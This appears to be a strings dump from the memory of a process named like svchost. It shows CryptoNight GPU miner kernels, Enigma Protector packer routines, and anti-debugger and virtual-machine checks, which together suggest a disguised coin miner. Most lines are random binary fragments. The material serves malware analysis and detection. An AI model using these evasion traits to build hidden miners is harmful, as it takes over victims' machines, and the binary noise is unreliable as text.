.nv.info._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx

.nv.shared._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx

.nv.info

.nv.constant0._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx

.text._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx

.nv.info._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx

.nv.shared._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx

.nv.constant0._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx

.text._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx

.nv.info._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx

.nv.shared._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx

.nv.constant0._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx

.nv.constant2

I).rl|

.nv.constant3

g%XTkZ

`zC:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_core.cu

H80.Gc

C:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_extra.cu

.IILh

..ax$

.QH4y

M%U1.

Yy.iu

Lo7%Dx'J{Hy

Ä[dw

.Tsv2

]QCwEBwE

$3.YuA

%ctcIB

`.eBh.

3I.IY

o.xiK

BÞ\H\

Rk.ae

uY.La

.EYID7

.EYFD7

68(:N.Dn

j`.Eb

.cfyu

njb.EbQ

kb.Eb

kb.EbQ

>|.nJ

,ÿj

%n%f}

H.LU.

Çac

u|.XP

y#.dH

.MP<>

).kB"`

7{w\%f

%SFW$

#%.am

3.%Uz

&u.Er

Z8.amP

HC%Uh~

B.yE4

@.BQ,

%XKxAA<

J.OKL

.WyJt]`a

\.mkE

.GK79Z

>/G:.is

m%Fln

*}.Yn

E.vC.r

i^(.BrD

yAo%f

aK@cRt'

Ez%X$@@<&

*.HoZ

*;.Liuz'

x!C%F:

CCu.oWf

A.Pq<

e.AMgn

%Uq/YG

k%CUr~

_ .Pyy

.bO`Em

mA\.ocR1

.text._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx

.nv.info._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx

.nv.shared._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx

.nv.constant0._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx

.text._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx

.nv.info._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx

.nv.shared._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx

.nv.constant16._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx

.nv.constant0._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx

hC\%U

.nv.constant2._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx

\.UUUU9C

:zq%3u

.LGvS

2O%XF

%%Xx)

>E.mLG

.pHkF`

?;.Ry

.XG6sy

$1"%f%

NdRg4%3X

.VYIT7

k.OlzF

R%Dx2J

m.Sg.S

Og.Se

`%Flu

%sM!v

'c.YN

~,%f}I

,dN.kl/

s.oV?

.akPp

ch-y}

n.AzP

")6%f

IK.Za

%FX_b

hwEB

:>/òZ

=/òZ

M-GS5}

n.Az`

y%Sc}T

L.DG$C

C.Spys

^*.mOs

a^.zO

n.XZXv

K#.XP

=L^X(,@.wB

.gnBEX

û)<

.Aw <%

,X.UI

d^%uQ*

y.xs.

bp>%XqGx

$/.sUc

S%fwa

_-s}!s

@h.GA

9\M%d

(:g".Ey

Hg|%u

)$X%U(yFWu $0

!f9%Dul

hû1d#q

S2w.bH

.WQ._c

T.WQq_a

.CvsQy

~lcL.CCp*

.%U&%

u.LKW]

.uA:S

.vlf'

.GIprl

bF@.mU

O.YLr-

b7.MW*

l@-5}

dgW%C

uo.ps

v.zS?

U.Wzx

7P%9UYp2

')1%DW

JR.Re

*/?;.Qy

5O%XB

?;.Sy

T.BiP

e@.Ja

^uüa

j.DeD@Z

m.Sd$

l.Sb$

|.Sb.S

N%u2b[

NE.SK

5.NXi

.Nw-s

t~ %U

eb.EbQNgK

.hB.=bQ

A}|,%f

eb.EbQ

3RF.kv

gb.EbQ

t!l<mM.ia

5x!~.iy

mM.Ayp'

O,#z!n.ye

d5&7kN.AA

mM.AA

xb%UM

.wZQE

.wZA$

=Zx%S

n.Azpf

AvuDPG

\P6.xW

.XZWC

).kBR

n.Azp

%XLx1

.Wyjt]`e

K5.zvT

G@B%c

d.pB'

%U 4"

.gx/F<

S%f_a

f%6uK

q.TRM

b%Us)

&.MH0

T%6uK*2

.IC2C

<7}%Fl

glQ

E.abh

b6%.Ff

B6'

oA.Zq

.QV$b

.YU!Y

W.WIY

@V%D L

z%s##

"!kEY

vL"-X}i

| |%F

.ls1QO

z%%xk5

.Fb1d#1P

L$.Cfo

n;.Rw

I~%xT

u?%CsaDZs

L%u0L

fL.zL

portP;

G\.Qw

G\.SG

H8.NG

G\%Cg

G\.RG

G\.Zw

H8%D'

(8.PG

G8%FW

6T.Wb

6..Ge

[7.wc

H8.OW

(8@.Gb

6%dG*0

H8.gG*0

H8.jG*0

G\.FWd

svchosts.exe_3932_rwx_018E9000_00288000:

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

comctl32.dll

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

ole32.dll

!"#$%&*;<=>@[]^_`{|}

ssShift

htKeyword

EInvalidOperation

u%CNu

%s[%d]

%s_%d

.Owner

TNT Internal Error: TWideComponentHelper.Create should never be encountered.

w:\3rdparty\TntUnicode\Source\TntClasses.pas

Internal Error: Unexpected format type (%s)

W:\3rdparty\ScreamSec\SecUtils.pas

TCipher.CreateIntf: Algorithm mismatch

TBlockCipher.CreateIntf: Wrong VectorSize

Cipher mode not supported

The vector for %s is %d blocks. Cannot initialize with a %d block vector.

The block size for %s is %d bytes and the key is %d bytes. Cannot initialize with a %d block vector.

The minimum key and IV size for %s is %d bytes.

Not supported

TRijndael_PipedPCFB

Rijndael: Invalid key size - %d

2.16.840.1.101.3.4.1.1

2.16.840.1.101.3.4.1.21

2.16.840.1.101.3.4.1.41

1.3.6.1.4.1.13085.1.22

1.3.6.1.4.1.13085.1.23

1.3.6.1.4.1.13085.1.24

2.16.840.1.101.3.4.1.4

2.16.840.1.101.3.4.1.24

2.16.840.1.101.3.4.1.44

1.3.6.1.4.1.13085.1.7

1.3.6.1.4.1.13085.1.8

1.3.6.1.4.1.13085.1.9

1.3.6.1.4.1.13085.1.4

1.3.6.1.4.1.13085.1.5

1.3.6.1.4.1.13085.1.6

1.3.6.1.4.1.13085.1.10

1.3.6.1.4.1.13085.1.11

1.3.6.1.4.1.13085.1.12

1.3.6.1.4.1.13085.1.1

1.3.6.1.4.1.13085.1.2

1.3.6.1.4.1.13085.1.3

1.3.6.1.4.1.13085.1.16

1.3.6.1.4.1.13085.1.17

1.3.6.1.4.1.13085.1.18

2.16.840.1.101.3.4.1.2

2.16.840.1.101.3.4.1.22

2.16.840.1.101.3.4.1.42

1.3.6.1.4.1.13085.1.19

1.3.6.1.4.1.13085.1.20

1.3.6.1.4.1.13085.1.21

2.16.840.1.101.3.4.1.3

2.16.840.1.101.3.4.1.23

2.16.840.1.101.3.4.1.43

2.16.840.1.101.3.4.1.5

2.16.840.1.101.3.4.1.25

2.16.840.1.101.3.4.1.45

/* Dr Brian Gladman (gladman@seven77.demon.co.uk) 14th January 1999 */

TGenerator.Create: Cipher mode must be cmCTR.

TMPPool.CheckThreadID: Called from the wrong thread.

TMPPool.Cache: Invalid pointer

TMPPool.Obtain: Out of memory

TMPPool.InternalCheck: Invalid pointer

Portugal

Turkey

TKeyVerifyParams

12345678-

EP_RegCheckKey

EP_RegCheckKeyA

EP_RegCheckKeyW

EP_RegSaveKey

EP_RegSaveKeyA

EP_RegSaveKeyW

EP_RegLoadKey

EP_RegLoadKeyA

EP_RegLoadKeyW

EP_RegLoadAndCheckKey

EP_RegCheckAndSaveKey

EP_RegCheckAndSaveKeyA

EP_RegCheckAndSaveKeyW

EP_RegDeleteKey

EP_RegKeyExpirationDate

EP_RegKeyExpirationDateEx

EP_RegKeyCreationDate

EP_RegKeyCreationDateEx

EP_RegKeyExecutions

EP_RegKeyExecutionsTotal

EP_RegKeyExecutionsLeft

EP_RegKeyDays

EP_RegKeyDaysTotal

EP_RegKeyDaysLeft

EP_RegKeyRuntime

EP_RegKeyRuntimeTotal

EP_RegKeyRuntimeLeft

EP_RegKeyGlobalTime

EP_RegKeyGlobalTimeTotal

EP_RegKeyGlobalTimeLeft

EP_RegKeyRegisterAfterDate

EP_RegKeyRegisterAfterDateEx

EP_RegKeyRegisterBeforeDate

EP_RegKeyRegisterBeforeDateEx

EP_TrialExecutions

EP_TrialExecutionsTotal

EP_TrialExecutionsLeft

EP_TrialExecutionTime

EP_TrialExecutionTimeTotal

EP_TrialExecutionTimeLeft

EP_RegCheckKeyEx

EP_RegSaveKeyEx

EP_RegLoadKeyEx

EP_CheckUpStartupPasswordHashString

EP_ProtectedStringByKey

EP_RegKeyInformation

EP_RegKeyInformationA

EP_RegKeyInformationW

EP_RegKeyStatus

Windows 95

WIN_VER_WINDOWS95

Windows 95 OSR2

WIN_VER_WINDOWS95OSR2

Windows 98

WIN_VER_WINDOWS98

Windows 98 SE

WIN_VER_WINDOWS98SE

Windows ME

WIN_VER_WINDOWSME

Windows 2000

WIN_VER_WINDOWS2000

Windows 2000 Professional

WIN_VER_WINDOWS2000PROF

Windows 2000 Data Server

WIN_VER_WINDOWS2000DATASERVER

Windows 2000 Advanced Server

WIN_VER_WINDOWS2000ADVSERVER

Windows 2000 Server

WIN_VER_WINDOWS2000SERVER

Windows XP

WIN_VER_WINDOWSXP

Windows XP Home

WIN_VER_WINDOWSXPHOME

Windows XP Professional

WIN_VER_WINDOWSXPPROF

Windows XP Professional x64

WIN_VER_WINDOWSXPPROFx64

Windows XP Professional Datacenter x64

WIN_VER_WINDOWSXPPROFDATACENTERx64

Windows XP Professional Enterprise x64

WIN_VER_WINDOWSXPPROFENERPRICEx64

Windows XP Professional Standart x64

WIN_VER_WINDOWSXPPROFSTANDARTx64

Windows 2003

Windows 2003 Server

WIN_VER_WINDOWS2003SERVER

Windows 2003 Server R2

WIN_VER_WINDOWS2003SERVERR2

Windows 2003 Storage Server

WIN_VER_WINDOWS2003STORAGESERVER

Windows 2003 Datacenter Itanium

WIN_VER_WINDOWS2003DATACENTERITANIUM

Windows 2003 Enterprise Itanium

WIN_VER_WINDOWS2003ENTERPRICEITANIUM

Windows 2003 Datacenter x64

WIN_VER_WINDOWS2003DATACENTERx64

Windows 2003 Enterprise x64

WIN_VER_WINDOWS2003ENERPRICEx64

Windows 2003 Standart x64

WIN_VER_WINDOWS2003STANDARTx64

Windows 2003 Compute

WIN_VER_WINDOWS2003COMPUTE

Windows 2003 Datacenter

WIN_VER_WINDOWS2003DATACENTER

Windows 2003 Enterprise

WIN_VER_WINDOWS2003ENTERPRICE

Windows 2003 Web

WIN_VER_WINDOWS2003WEB

Windows 2003 Standart

WIN_VER_WINDOWS2003STANDART

Windows Vista

WIN_VER_WINDOWSVISTA

Windows Vista Business

WIN_VER_WINDOWSVISTA_BUSINESS

Windows Vista Cluster Server

WIN_VER_WINDOWSVISTA_CLUSTER_SERVER

Windows Vista Datacenter Server

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER

Windows Vista Datacenter Server Core

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_CORE

Windows Vista Datacenter Server Core V

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_CORE_V

Windows Vista Datacenter Server V

WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_V

Windows Vista Enterprise

WIN_VER_WINDOWSVISTA_ENTERPRICE

Windows Vista Enterprise Server

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER

Windows Vista Enterprise Server Core

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_CORE

Windows Vista Enterprise Server V

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_V

Windows Vista Enterprise Server Core V

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_CORE_V

Windows Vista Enterprise Server IA64

WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_IA64

Windows Vista Home Basic

WIN_VER_WINDOWSVISTA_HOME_BASIC

Windows Vista Home Premium

WIN_VER_WINDOWSVISTA_HOME_PREMIUM

Windows Vista Home Server

WIN_VER_WINDOWSVISTA_HOME_SERVER

Windows Vista Server For Small Business

WIN_VER_WINDOWSVISTA_SERVER_FOR_SMALLBUSINESS

Windows Vista Small Business Server

WIN_VER_WINDOWSVISTA_SMALLBUSINESS_SERVER

Windows Vista Small Business Server Premium

WIN_VER_WINDOWSVISTA_SMALLBUSINESS_SERVER_PREMIUM

Windows Vista Medium Business Server Management

WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows Vista Medium Business Server Messaging

WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_MESSAGING

Windows Vista Medium Business Server Security

WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_SECURITY

Windows Vista Standard Server

WIN_VER_WINDOWSVISTA_STANDARD_SERVER

Windows Vista Standard Server V

WIN_VER_WINDOWSVISTA_STANDARD_SERVER_V

Windows Vista Standard Server Core

WIN_VER_WINDOWSVISTA_STANDARD_SERVER_CORE

Windows Vista Standard Server Core V

WIN_VER_WINDOWSVISTA_STANDARD_SERVER_CORE_V

Windows Vista Starter

WIN_VER_WINDOWSVISTA_STARTER

Windows Vista Storage Enterprise Server

WIN_VER_WINDOWSVISTA_STORAGE_ENTERPRISE_SERVER

Windows Vista Storage Express Server

WIN_VER_WINDOWSVISTA_STORAGE_EXPRESS_SERVER

Windows Vista Storage Standard Server

WIN_VER_WINDOWSVISTA_STORAGE_STANDARD_SERVER

Windows Vista Storage Workgroup Server

WIN_VER_WINDOWSVISTA_STORAGE_WORKGROUP_SERVER

Windows Vista Undefined

WIN_VER_WINDOWSVISTA_UNDEFINED

Windows Vista Ultimate

WIN_VER_WINDOWSVISTA_ULTIMATE

Windows Vista Web Server

WIN_VER_WINDOWSVISTA_WEB_SERVER

Windows Vista Web Server Core

WIN_VER_WINDOWSVISTA_WEB_SERVER_CORE

Windows Vista Unlicensed

WIN_VER_WINDOWSVISTA_UNLICENSED

Windows 2008

WIN_VER_WINDOWS2008

Windows 2008 Business

WIN_VER_WINDOWS2008_BUSINESS

Windows 2008 Cluster Server

WIN_VER_WINDOWS2008_CLUSTER_SERVER

Windows 2008 Datacenter Server

WIN_VER_WINDOWS2008_DATACENTER_SERVER

Windows 2008 Datacenter Server Core

WIN_VER_WINDOWS2008_DATACENTER_SERVER_CORE

Windows 2008 Datacenter Server Core V

WIN_VER_WINDOWS2008_DATACENTER_SERVER_CORE_V

Windows 2008 Datacenter Server V

WIN_VER_WINDOWS2008_DATACENTER_SERVER_V

Windows 2008 Enterprise

WIN_VER_WINDOWS2008_ENTERPRICE

Windows 2008 Enterprise Server

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER

Windows 2008 Enterprise Server Core

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_CORE

Windows 2008 Enterprise Server V

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_V

Windows 2008 Enterprise Server Core V

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_CORE_V

Windows 2008 Enterprise Server IA64

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_IA64

Windows 2008 Home Basic

WIN_VER_WINDOWS2008_HOME_BASIC

Windows 2008 Home Premium

WIN_VER_WINDOWS2008_HOME_PREMIUM

Windows 2008 Home Server

WIN_VER_WINDOWS2008_HOME_SERVER

Windows 2008 Server For Small Business

WIN_VER_WINDOWS2008_SERVER_FOR_SMALLBUSINESS

Windows 2008 Small Business Server

WIN_VER_WINDOWS2008_SMALLBUSINESS_SERVER

Windows 2008 Small Business Server Premium

WIN_VER_WINDOWS2008_SMALLBUSINESS_SERVER_PREMIUM

Windows 2008 Medium Business Server Management

WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows 2008 Medium Business Server Messaging

WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_MESSAGING

Windows 2008 Medium Business Server Security

WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_SECURITY

Windows 2008 Standard Server

WIN_VER_WINDOWS2008_STANDARD_SERVER

Windows 2008 Standard Server V

WIN_VER_WINDOWS2008_STANDARD_SERVER_V

Windows 2008 Standard Server Core

WIN_VER_WINDOWS2008_STANDARD_SERVER_CORE

Windows 2008 Standard Server Core V

WIN_VER_WINDOWS2008_STANDARD_SERVER_CORE_V

Windows 2008 Starter

WIN_VER_WINDOWS2008_STARTER

Windows 2008 Storage Enterprise Server

WIN_VER_WINDOWS2008_STORAGE_ENTERPRISE_SERVER

Windows 2008 Storage Express Server

WIN_VER_WINDOWS2008_STORAGE_EXPRESS_SERVER

Windows 2008 Storage Standard Server

WIN_VER_WINDOWS2008_STORAGE_STANDARD_SERVER

Windows 2008 Storage Workgroup Server

WIN_VER_WINDOWS2008_STORAGE_WORKGROUP_SERVER

Windows 2008 Undefined

WIN_VER_WINDOWS2008_UNDEFINED

Windows 2008 Ultimate

WIN_VER_WINDOWS2008_ULTIMATE

Windows 2008 Web Server

WIN_VER_WINDOWS2008_WEB_SERVER

Windows 2008 Web Server Core

WIN_VER_WINDOWS2008_WEB_SERVER_CORE

Windows 2008 Unlicensed

WIN_VER_WINDOWS2008_UNLICENSED

Windows 2008 R2

WIN_VER_WINDOWS2008R2

Windows 2008 R2 Business

WIN_VER_WINDOWS2008R2_BUSINESS

Windows 2008 R2 Cluster Server

WIN_VER_WINDOWS2008R2_CLUSTER_SERVER

Windows 2008 R2 Datacenter Server

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER

Windows 2008 R2 Datacenter Server Core

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_CORE

Windows 2008 R2 Datacenter Server Core V

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_CORE_V

Windows 2008 R2 Datacenter Server V

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_V

Windows 2008 R2 Enterprise

WIN_VER_WINDOWS2008R2_ENTERPRICE

Windows 2008 R2 Enterprise Server

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER

Windows 2008 R2 Enterprise Server Core

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_CORE

Windows 2008 R2 Enterprise Server V

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_V

Windows 2008 R2 Enterprise Server Core V

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_CORE_V

Windows 2008 R2 Enterprise Server IA64

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_IA64

Windows 2008 R2 Home Basic

WIN_VER_WINDOWS2008R2_HOME_BASIC

Windows 2008 R2 Home Premium

WIN_VER_WINDOWS2008R2_HOME_PREMIUM

Windows 2008 R2 Home Server

WIN_VER_WINDOWS2008R2_HOME_SERVER

Windows 2008 R2 Server For Small Business

WIN_VER_WINDOWS2008R2_SERVER_FOR_SMALLBUSINESS

Windows 2008 R2 Small Business Server

WIN_VER_WINDOWS2008R2_SMALLBUSINESS_SERVER

Windows 2008 R2 Small Business Server Premium

WIN_VER_WINDOWS2008R2_SMALLBUSINESS_SERVER_PREMIUM

Windows 2008 R2 Medium Business Server Management

WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows 2008 R2 Medium Business Server Messaging

WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_MESSAGING

Windows 2008 R2 Medium Business Server Security

WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_SECURITY

Windows 2008 R2 Standard Server

WIN_VER_WINDOWS2008R2_STANDARD_SERVER

Windows 2008 R2 Standard Server V

WIN_VER_WINDOWS2008R2_STANDARD_SERVER_V

Windows 2008 R2 Standard Server Core

WIN_VER_WINDOWS2008R2_STANDARD_SERVER_CORE

Windows 2008 R2 Standard Server Core V

WIN_VER_WINDOWS2008R2_STANDARD_SERVER_CORE_V

Windows 2008 R2 Starter

WIN_VER_WINDOWS2008R2_STARTER

Windows 2008 R2 Storage Enterprise Server

WIN_VER_WINDOWS2008R2_STORAGE_ENTERPRISE_SERVER

Windows 2008 R2 Storage Express Server

WIN_VER_WINDOWS2008R2_STORAGE_EXPRESS_SERVER

Windows 2008 R2 Storage Standard Server

WIN_VER_WINDOWS2008R2_STORAGE_STANDARD_SERVER

Windows 2008 R2 Storage Workgroup Server

WIN_VER_WINDOWS2008R2_STORAGE_WORKGROUP_SERVER

Windows 2008 R2 Undefined

WIN_VER_WINDOWS2008R2_UNDEFINED

Windows 2008 R2 Ultimate

WIN_VER_WINDOWS2008R2_ULTIMATE

Windows 2008 R2 Web Server

WIN_VER_WINDOWS2008R2_WEB_SERVER

Windows 2008 R2 Web Server Core

WIN_VER_WINDOWS2008R2_WEB_SERVER_CORE

Windows 2008 R2 Unlicensed

WIN_VER_WINDOWS2008R2_UNLICENSED

Windows 7

WIN_VER_WINDOWSSEVEN

Windows 7 Business

WIN_VER_WINDOWSSEVEN_BUSINESS

Windows 7 Cluster Server

WIN_VER_WINDOWSSEVEN_CLUSTER_SERVER

Windows 7 Datacenter Server

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER

Windows 7 Datacenter Server Core

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_CORE

Windows 7 Datacenter Server Core V

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_CORE_V

Windows 7 Datacenter Server V

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_V

Windows 7 Enterprise

WIN_VER_WINDOWSSEVEN_ENTERPRICE

Windows 7 Enterprise Server

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER

Windows 7 Enterprise Server Core

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_CORE

Windows 7 Enterprise Server V

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_V

Windows 7 Enterprise Server Core V

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_CORE_V

Windows 7 Enterprise Server IA64

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_IA64

Windows 7 Home Basic

WIN_VER_WINDOWSSEVEN_HOME_BASIC

Windows 7 Home Premium

WIN_VER_WINDOWSSEVEN_HOME_PREMIUM

Windows 7 Home Server

WIN_VER_WINDOWSSEVEN_HOME_SERVER

Windows 7 Server For Small Business

WIN_VER_WINDOWSSEVEN_SERVER_FOR_SMALLBUSINESS

Windows 7 Small Business Server

WIN_VER_WINDOWSSEVEN_SMALLBUSINESS_SERVER

Windows 7 Small Business Server Premium

WIN_VER_WINDOWSSEVEN_SMALLBUSINESS_SERVER_PREMIUM

Windows 7 Medium Business Server Management

WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows 7 Medium Business Server Messaging

WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_MESSAGING

Windows 7 Medium Business Server Security

WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_SECURITY

Windows 7 Standard Server

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER

Windows 7 Standard Server V

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_V

Windows 7 Standard Server Core

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_CORE

Windows 7 Standard Server Core V

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_CORE_V

Windows 7 Starter

WIN_VER_WINDOWSSEVEN_STARTER

Windows 7 Storage Enterprise Server

WIN_VER_WINDOWSSEVEN_STORAGE_ENTERPRISE_SERVER

Windows 7 Storage Express Server

WIN_VER_WINDOWSSEVEN_STORAGE_EXPRESS_SERVER

Windows 7 Storage Standard Server

WIN_VER_WINDOWSSEVEN_STORAGE_STANDARD_SERVER

Windows 7 Storage Workgroup Server

WIN_VER_WINDOWSSEVEN_STORAGE_WORKGROUP_SERVER

Windows 7 Undefined

WIN_VER_WINDOWSSEVEN_UNDEFINED

Windows 7 Ultimate

WIN_VER_WINDOWSSEVEN_ULTIMATE

Windows 7 Web Server

WIN_VER_WINDOWSSEVEN_WEB_SERVER

Windows 7 Web Server Core

WIN_VER_WINDOWSSEVEN_WEB_SERVER_CORE

Windows 7 Unlicensed

WIN_VER_WINDOWSSEVEN_UNLICENSED

Portuguese (Brazil)

Portuguese (Portugal)

Enigma_Plugin_OnSaveKey

Enigma_Plugin_OnLoadKey

ntdll.dll

LS_Enigma_Plugin_OnDeleteKey

TExecutedProcess

CCommonOperationSystem

ZwOpenKey

ZwEnumerateValueKey

ZwQueryKey

ZwQueryValueKey

ZwCreateKey

ZwEnumerateKey

ZwSetValueKey

ZwDeleteKey

ZwDeleteValueKey

ZwFlushKey

ZwLoadKey

ZwLoadKey2

ZwNotifyChangeKey

ZwQueryMultipleValueKey

ZwReplaceKey

ZwRestoreKey

ZwSaveKey

ZwSetInformationKey

ZwUnloadKey

ZwOpenKeyEx

TExported`

.Uym1

USER32.DLL

EInvalidGraphicOperation

uxtheme.dll

Proportional

MAPI32.DLL

TComboBoxExEnumerator

ssHorizontal

OnKeyDown

OnKeyPress

OnKeyUp

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

HelpKeyword

OnExecute

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowState,E

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

AutoHotkeys

AutoHotkeysHC

TKeyEvent

TKeyPressEvent

crSQLWait

%s (%s)

imm32.dll

w:\3rdparty\TntUnicode\Source\TntActnList.pas

PasswordChar

w:\3rdparty\TntUnicode\Source\TntStdCtrls.pas

w:\3rdparty\TntUnicode\Source\TntForms.pas

w:\3rdparty\TntUnicode\Source\TntMenus.pas

Internal Error: SyncHotKeyPosition Failed ("%s" <> "%s").

w:\3rdparty\TntUnicode\Source\TntControls.pas

Internal Error: SubClassUnicodeControl.Control is not Unicode.

.UnicodeClass

TntUnicodeVcl.DestroyWindow

Internal Error: Control does not support ITntGlyphButton.

dtPostMsg

Software\Microsoft\Windows\CurrentVersion

ProductKey

Software\Microsoft\Windows NT\CurrentVersion

\\.\PhysicalDrive0

\\.\%s

\\.\Scsi0:

\\.\SMARTVSD

w:\3rdparty\TntUnicode\Source\TntRegistry.pas

#$%&'()* ,-./01234

PSAPI.dll

s%F%,h

VBoxService.exe

ÞFAULT FOLDER%

%SYSTEM FOLDER%

%WINDOWS FOLDER%

Mutex object: Unique: %d-%d. Number: %d

DLL_Loader_Import_Unit

TInitImport

Could not load library: %s

k_ntdll.dll

File not found: %s

Can't find DLL entry point %s in %s

"%s" %s

%s %s

mscorwks.dll

mscoreei.dll

clr.dll

.llfw

<N$.Fkx

%s\%.8x%.8x-%.8x%.8x

X.xP`*U

)-%X`

coRegistratioKey

ZwQuerySection, Unsupported class %d

KeySetValue unsupported value type

ZwQueryValueKey, unsupported class %d

ZwQueryKey, unsupported class %d

ZwQueryObject with unsupported class

ZwReadFileInformation with unsupported class

ZwSetInformationFile with unsupported class

sxs.dll

THookWindowsAPI

nUc.HL@Y

\\.\NTICE

\\.\SICE

\\.\SIWDEBUG

I80|k.ZzD'

)TEnigmaProtectorLoaderFormStartuppassword

DLL_Loader_RunPassword_Unit

.brOmxw

1.2.3

Portable Network Graphics

decrypt_on_execute_begin

ECRONEXECB

decrypt_on_execute_end

ECRONEXECE

.section

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

;&;.;6;>;

?#?)?.?9?

1!1%1)1-11151~1

3 3$3(3,30383`3

;";&;*;.;2;

;$<=<`<{<

7&7.787=7

[0/1;102

0"0&0*000

5%5[5`5|5

3%4U4`4m4

1-171W1}1

0#0'0 0/0

1 1$1(1,1014181<1

8$8 82878

; ;(;0;8;@;

@``@``@``@``@``@``@``@

@``@``@``@``@``

333333333333333333

33333833

3333333333333338

:*"*"$3338

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

TntWindows

KWindows

UrlMon

_enigma_keygen_routines

virtualboximportunit

KeyRoutines

nJwaWindows

 DLL_Loader_Import_Unit

user32.dll

K3.hE-

.EKK*c

.Ri?0

.HhbL

.WBhSP

DBv}.Bv

CEw.AEw

advapi32.dll

version.dll

gdi32.dll

shell32.dll

SHFolder.dll

shlwapi.dll

GetWindowsDirectoryW

GetWindowsDirectoryA

GetCPInfo

GetKeyboardType

VkKeyScanW

UnhookWindowsHookEx

SetWindowsHookExW

SetWindowsHookExA

MsgWaitForMultipleObjects

MapVirtualKeyW

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextW

GetKeyNameTextA

EnumWindows

EnumThreadWindows

ActivateKeyboardLayout

RegOpenKeyExA

RegCloseKey

RegOpenKeyA

RegFlushKey

RegCreateKeyExA

